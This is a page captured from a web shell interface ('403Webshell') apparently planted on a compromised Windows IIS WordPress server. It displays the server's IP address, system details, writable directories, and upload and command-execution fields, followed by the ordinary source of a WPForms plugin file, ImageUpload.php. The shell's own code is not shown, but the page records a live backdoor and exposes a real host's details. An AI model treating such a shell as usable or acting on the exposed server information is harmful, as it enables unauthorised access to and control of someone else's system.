403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/excellentvege/wp-content/plugins/wpforms/src/Admin/Builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/excellentvege/wp-content/plugins/wpforms/src/Admin/Builder/ImageUpload.php
<?php

namespace WPForms\Admin\Builder;

/**
 * Image Upload functionality for the Form Builder Settings.
 *
 * @since 1.9.7.3
 */
class ImageUpload {

	/**
	 * Initialize class.
	 *
	 * @since 1.9.7.3
	 */
	public function init(): void {

		$this->hooks();
	}

	/**
	 * Register hooks.
	 *
	 * @since 1.9.7.3
	 */
	public function hooks(): void {

		add_action( 'wpforms_builder_enqueues', [ $this, 'enqueues' ] );
	}

	/**
	 * Enqueue assets for the Form Builder.
	 *
	 * @since 1.9.7.3
	 */
	public function enqueues(): void {

		$min = wpforms_get_min_suffix();

		wp_enqueue_script(
			'wpforms-builder-settings-image-upload',
			WPFORMS_PLUGIN_URL . "assets/js/admin/builder/image-upload{$min}.js",
			[ 'wp-util', 'wpforms-builder-settings' ],
			WPFORMS_VERSION,
			true
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit